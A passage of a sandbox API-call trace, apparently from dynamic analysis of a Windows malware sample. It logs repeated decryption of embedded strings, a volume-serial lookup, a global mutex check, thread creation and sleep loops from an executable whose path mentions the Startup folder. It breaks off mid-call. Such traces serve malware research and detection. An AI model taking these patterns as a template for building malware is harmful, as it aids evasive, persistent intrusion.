CryptDestroyKey (hKey=0x58b138) returned 1 [0046.648] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x18) returned 0xb86488 [0046.648] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x18) returned 0xb864a8 [0046.648] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb865b0 [0046.648] CryptImportKey (in: hProv=0x585138, pbData=0x2cf8a0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf908 | out: phKey=0x2cf908*=0x58b138) returned 1 [0046.648] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0x2cf8f0, dwFlags=0x0) returned 1 [0046.648] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb865b0, pdwDataLen=0x2cf8bc | out: pbData=0xb865b0, pdwDataLen=0x2cf8bc) returned 1 [0046.648] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.648] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb865b0 | out: hHeap=0xb80000) returned 1 [0046.649] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0xb86488, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0046.649] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb864a8 | out: hHeap=0xb80000) returned 1 [0046.649] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81500 | out: hHeap=0xb80000) returned 1 [0046.649] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20a) returned 0xb87520 [0046.649] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20a) returned 0xb87738 [0046.649] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xb87738, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 0x6a [0046.649] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb87738 | out: hHeap=0xb80000) returned 1 [0046.649] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0xb38) returned 0xb87738 [0046.649] GetLastError () returned 0x0 [0046.649] RtlReAllocateHeap (Heap=0xb80000, Flags=0x0, Ptr=0xb865b0, Size=0x110) returned 0xb884c0 [0046.649] GetLastError () returned 0x0 [0046.649] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12a1f96, lpParameter=0x2cfa90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb8 [0046.650] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12a1932, lpParameter=0x2cfa90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x118 [0046.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12a1a5d, lpParameter=0x2cfa90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x114 [0046.652] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0xa5c [0031.708] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb814a0 [0031.708] CryptImportKey (in: hProv=0x585138, pbData=0xabf79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf804 | out: phKey=0xabf804*=0x587420) returned 1 [0031.708] CryptSetKeyParam (hKey=0x587420, dwParam=0x1, pbData=0xabf7ec, dwFlags=0x0) returned 1 [0031.708] CryptDecrypt (in: hKey=0x587420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb814a0, pdwDataLen=0xabf7b8 | out: pbData=0xb814a0, pdwDataLen=0xabf7b8) returned 1 [0031.708] CryptDestroyKey (hKey=0x587420) returned 1 [0031.708] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb814c8 [0031.708] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb814f0 [0031.708] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb81518 [0031.708] CryptImportKey (in: hProv=0x585138, pbData=0xabf774, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf7dc | out: phKey=0xabf7dc*=0x587420) returned 1 [0031.708] CryptSetKeyParam (hKey=0x587420, dwParam=0x1, pbData=0xabf7c4, dwFlags=0x0) returned 1 [0031.708] CryptDecrypt (in: hKey=0x587420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81518, pdwDataLen=0xabf790 | out: pbData=0xb81518, pdwDataLen=0xabf790) returned 1 [0031.708] CryptDestroyKey (hKey=0x587420) returned 1 [0031.708] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81518 | out: hHeap=0xb80000) returned 1 [0031.708] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb814c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0031.708] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814f0 | out: hHeap=0xb80000) returned 1 [0031.709] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814a0 | out: hHeap=0xb80000) returned 1 [0031.709] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xabf844, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xabf844*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0031.709] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814c8 | out: hHeap=0xb80000) returned 1 [0031.709] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb814a0 [0031.709] CryptImportKey (in: hProv=0x585138, pbData=0xabf7d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf838 | out: phKey=0xabf838*=0x587420) returned 1 [0031.709] CryptSetKeyParam (hKey=0x587420, dwParam=0x1, pbData=0xabf820, dwFlags=0x0) returned 1 [0031.709] CryptDecrypt (in: hKey=0x587420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb814a0, pdwDataLen=0xabf7ec | out: pbData=0xb814a0, pdwDataLen=0xabf7ec) returned 1 [0031.709] CryptDestroyKey (hKey=0x587420) returned 1 [0031.709] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x34) returned 0xb814e8 [0031.709] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x0 [0031.709] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\10969C354B4200") returned 0x90 [0031.709] WaitForSingleObject (hHandle=0x90, dwMilliseconds=0x0) returned 0x0 [0031.709] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814a0 | out: hHeap=0xb80000) returned 1 [0031.709] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814e8 | out: hHeap=0xb80000) returned 1 [0031.709] ReleaseMutex (hMutex=0x90) returned 1 [0031.709] CloseHandle (hObject=0x90) returned 1 [0031.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12a1ffe, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90 [0031.710] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb814a0 [0031.710] CryptImportKey (in: hProv=0x585138, pbData=0xabf79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf804 | out: phKey=0xabf804*=0x587420) returned 1 [0031.710] CryptSetKeyParam (hKey=0x587420, dwParam=0x1, pbData=0xabf7ec, dwFlags=0x0) returned 1 [0031.710] CryptDecrypt (in: hKey=0x587420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb814a0, pdwDataLen=0xabf7b8 | out: pbData=0xb814a0, pdwDataLen=0xabf7b8) returned 1 [0031.710] CryptDestroyKey (hKey=0x587420) returned 1 [0031.710] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb814c8 [0031.711] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb814f0 [0031.711] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb81518 [0031.711] CryptImportKey (in: hProv=0x585138, pbData=0xabf774, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf7dc | out: phKey=0xabf7dc*=0x587420) returned 1 [0031.711] CryptSetKeyParam (hKey=0x587420, dwParam=0x1, pbData=0xabf7c4, dwFlags=0x0) returned 1 [0031.711] CryptDecrypt (in: hKey=0x587420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81518, pdwDataLen=0xabf790 | out: pbData=0xb81518, pdwDataLen=0xabf790) returned 1 [0031.711] CryptDestroyKey (hKey=0x587420) returned 1 [0031.711] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81518 | out: hHeap=0xb80000) returned 1 [0031.711] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb814c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0031.711] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814f0 | out: hHeap=0xb80000) returned 1 [0031.711] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814a0 | out: hHeap=0xb80000) returned 1 [0031.711] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xabf844, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xabf844*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0031.711] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814c8 | out: hHeap=0xb80000) returned 1 [0031.711] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb814a0 [0031.711] CryptImportKey (in: hProv=0x585138, pbData=0xabf7d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf838 | out: phKey=0xabf838*=0x587420) returned 1 [0031.711] CryptSetKeyParam (hKey=0x587420, dwParam=0x1, pbData=0xabf820, dwFlags=0x0) returned 1 [0031.711] CryptDecrypt (in: hKey=0x587420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb814a0, pdwDataLen=0xabf7ec | out: pbData=0xb814a0, pdwDataLen=0xabf7ec) returned 1 [0031.711] CryptDestroyKey (hKey=0x587420) returned 1 [0031.711] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x34) returned 0xb814e8 [0031.711] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x0 [0031.711] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\10969C354B4200") returned 0x94 [0031.711] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0x0) returned 0x0 [0031.711] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814a0 | out: hHeap=0xb80000) returned 1 [0031.711] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814e8 | out: hHeap=0xb80000) returned 1 [0031.711] ReleaseMutex (hMutex=0x94) returned 1 [0031.711] CloseHandle (hObject=0x94) returned 1 [0031.712] Sleep (dwMilliseconds=0x3e8) [0033.223] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb814a0 [0033.223] CryptImportKey (in: hProv=0x585138, pbData=0xabf79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf804 | out: phKey=0xabf804*=0x588c40) returned 1 [0033.223] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0xabf7ec, dwFlags=0x0) returned 1 [0033.223] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb814a0, pdwDataLen=0xabf7b8 | out: pbData=0xb814a0, pdwDataLen=0xabf7b8) returned 1 [0033.223] CryptDestroyKey (hKey=0x588c40) returned 1 [0033.223] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb814c8 [0033.223] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb814f0 [0033.223] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb81518 [0033.223] CryptImportKey (in: hProv=0x585138, pbData=0xabf774, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf7dc | out: phKey=0xabf7dc*=0x588c40) returned 1 [0033.223] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0xabf7c4, dwFlags=0x0) returned 1 [0033.223] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81518, pdwDataLen=0xabf790 | out: pbData=0xb81518, pdwDataLen=0xabf790) returned 1 [0033.223] CryptDestroyKey (hKey=0x588c40) returned 1 [0033.223] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81518 | out: hHeap=0xb80000) returned 1 [0033.223] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb814c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0033.224] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814f0 | out: hHeap=0xb80000) returned 1 [0033.224] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814a0 | out: hHeap=0xb80000) returned 1 [0033.224] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xabf844, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xabf844*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0033.224] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814c8 | out: hHeap=0xb80000) returned 1 [0033.224] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb814a0 [0033.224] CryptImportKey (in: hProv=0x585138, pbData=0xabf7d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf838 | out: phKey=0xabf838*=0x588c40) returned 1 [0033.224] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0xabf820, dwFlags=0x0) returned 1 [0033.224] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb814a0, pdwDataLen=0xabf7ec | out: pbData=0xb814a0, pdwDataLen=0xabf7ec) returned 1 [0033.224] CryptDestroyKey (hKey=0x588c40) returned 1 [0033.224] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x34) returned 0xb814e8 [0033.224] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x94 [0033.224] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0x0) returned 0x102 [0033.224] CloseHandle (hObject=0x94) returned 1 [0033.224] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814a0 | out: hHeap=0xb80000) returned 1 [0033.224] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814e8 | out: hHeap=0xb80000) returned 1 [0033.224] Sleep (dwMilliseconds=0x3e8) [0034.360] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb814a0 [0034.360] CryptImportKey (in: hProv=0x585138, pbData=0xabf79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf804 | out: phKey=0xabf804*=0x588c40) returned 1 [0034.360] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0xabf7ec, dwFlags=0x0) returned 1 [0034.360] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb814a0, pdwDataLen=0xabf7b8 | out: pbData=0xb814a0, pdwDataLen=0xabf7b8) returned 1 [0034.360] CryptDestroyKey (hKey=0x588c40) returned 1 [0034.360] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb814c8 [0034.361] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb814f0 [0034.361] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb81518 [0034.361] CryptImportKey (in: hProv=0x585138, pbData=0xabf774, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf7dc | out: phKey=0xabf7dc*=0x588c40) returned 1 [0034.361] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0xabf7c4, dwFlags=0x0) returned 1 [0034.361] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81518, pdwDataLen=0xabf790 | out: pbData=0xb81518, pdwDataLen=0xabf790) returned 1 [0034.361] CryptDestroyKey (hKey=0x588c40) returned 1 [0034.361] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81518 | out: hHeap=0xb80000) returned 1 [0034.361] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb814c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0034.361] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814f0 | out: hHeap=0xb80000) returned 1 [0034.361] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814a0 | out: hHeap=0xb80000) returned 1 [0034.361] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xabf844, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xabf844*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0034.361] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814c8 | out: hHeap=0xb80000) returned 1 [0034.361] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb814a0 [0034.361] CryptImportKey (in: hProv=0x585138, pbData=0xabf7d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf838 | out: phKey=0xabf838*=0x588c40) returned 1 [0034.361] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0xabf820, dwFlags=0x0) returned 1 [0034.362] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb814a0, pdwDataLen=0xabf7ec | out: pbData=0xb814a0, pdwDataLen=0xabf7ec) returned 1 [0034.362] CryptDestroyKey (hKey=0x588c40) returned 1 [0034.362] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x34) returned 0xb814e8 [0034.362] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x94 [0034.362] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0x0) returned 0x102 [0034.362] CloseHandle (hObject=0x94) returned 1 [0034.362] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814a0 | out: hHeap=0xb80000) returned 1 [0034.362] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814e8 | out: hHeap=0xb80000) returned 1 [0034.362] Sleep (dwMilliseconds=0x3e8) [0035.376] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb814a0 [0035.376] CryptImportKey (in: hProv=0x585138, pbData=0xabf79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf804 | out: phKey=0xabf804*=0x588c40) returned 1 [0035.376] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0xabf7ec, dwFlags=0x0) returned 1 [0035.376] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb814a0, pdwDataLen=0xabf7b8 | out: pbData=0xb814a0, pdwDataLen=0xabf7b8) returned 1 [0035.376] CryptDestroyKey (hKey=0x588c40) returned 1 [0035.376] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb814c8 [0035.376] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb814f0 [0035.376] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb81518 [0035.376] CryptImportKey (in: hProv=0x585138, pbData=0xabf774, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf7dc | out: phKey=0xabf7dc*=0x588c40) returned 1 [0035.376] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0xabf7c4, dwFlags=0x0) returned 1 [0035.376] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81518, pdwDataLen=0xabf790 | out: pbData=0xb81518, pdwDataLen=0xabf790) returned 1 [0035.376] CryptDestroyKey (hKey=0x588c40) returned 1 [0035.376] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81518 | out: hHeap=0xb80000) returned 1 [0035.376] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb814c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0035.376] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814f0 | out: hHeap=0xb80000) returned 1 [0035.377] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814a0 | out: hHeap=0xb80000) returned 1 [0035.377] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xabf844, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xabf844*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0035.377] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814c8 | out: hHeap=0xb80000) returned 1 [0035.377] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb814a0 [0035.377] CryptImportKey (in: hProv=0x585138, pbData=0xabf7d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf838 | out: phKey=0xabf838*=0x588c40) returned 1 [0035.377] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0xabf820, dwFlags=0x0) returned 1 [0035.377] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb814a0, pdwDataLen=0xabf7ec | out: pbData=0xb814a0, pdwDataLen=0xabf7ec) returned 1 [0035.377] CryptDestroyKey (hKey=0x588c40) returned 1 [0035.377] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x34) returned 0xb814e8 [0035.377] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x94 [0035.377] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0x0) returned 0x102 [0035.377] CloseHandle (hObject=0x94) returned 1 [0035.377] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814a0 | out: hHeap=0xb80000) returned 1 [0035.377] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814e8 | out: hHeap=0xb80000) returned 1 [0035.378] Sleep (dwMilliseconds=0x3e8) [0036.390] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb814a0 [0036.390] CryptImportKey (in: hProv=0x585138, pbData=0xabf79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf804 | out: phKey=0xabf804*=0x588c40) returned 1 [0036.390] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0xabf7ec, dwFlags=0x0) returned 1 [0036.390] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb814a0, pdwDataLen=0xabf7b8 | out: pbData=0xb814a0, pdwDataLen=0xabf7b8) returned 1 [0036.390] CryptDestroyKey (hKey=0x588c40) returned 1 [0036.390] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb814c8 [0036.390] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb814f0 [0036.390] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb81518 [0036.390] CryptImportKey (in: hProv=0x585138, pbData=0xabf774, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf7dc | out: phKey=0xabf7dc*=0x588c40) returned 1 [0036.390] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0xabf7c4, dwFlags=0x0) returned 1 [0036.390] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81518, pdwDataLen=0xabf790 | out: pbData=0xb81518, pdwDataLen=0xabf790) returned 1 [0036.390] CryptDestroyKey (hKey=0x588c40) returned 1 [0036.390] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81518 | out: hHeap=0xb80000) returned 1 [0036.390] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb814c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0036.390] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814f0 | out: hHeap=0xb80000) returned 1 [0036.390] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814a0 | out: hHeap=0xb80000) returned 1 [0036.390] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xabf844, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xabf844*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0036.391] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814c8 | out: hHeap=0xb80000) returned 1 [0036.391] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb814a0 [0036.391] CryptImportKey (in: hProv=0x585138, pbData=0xabf7d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf838 | out: phKey=0xabf838*=0x588c40) returned 1 [0036.391] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0xabf820, dwFlags=0x0) returned 1 [0036.391] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb814a0, pdwDataLen=0xabf7ec | out: pbData=0xb814a0, pdwDataLen=0xabf7ec) returned 1 [0036.391] CryptDestroyKey (hKey=0x588c40) returned 1 [0036.391] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x34) returned 0xb814e8 [0036.391] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x94 [0036.391] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0x0) returned 0x102 [0036.391] CloseHandle (hObject=0x94) returned 1 [0036.391] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814a0 | out: hHeap=0xb80000) returned 1 [0036.391] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814e8 | out: hHeap=0xb80000) returned 1 [0036.391] Sleep (dwMilliseconds=0x3e8) [0038.234] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb81508 [0038.234] CryptImportKey (in: hProv=0x585138, pbData=0xabf79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf804 | out: phKey=0xabf804*=0x58b138) returned 1 [0038.234] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0xabf7ec, dwFlags=0x0) returned 1 [0038.234] CryptDecrypt (in: 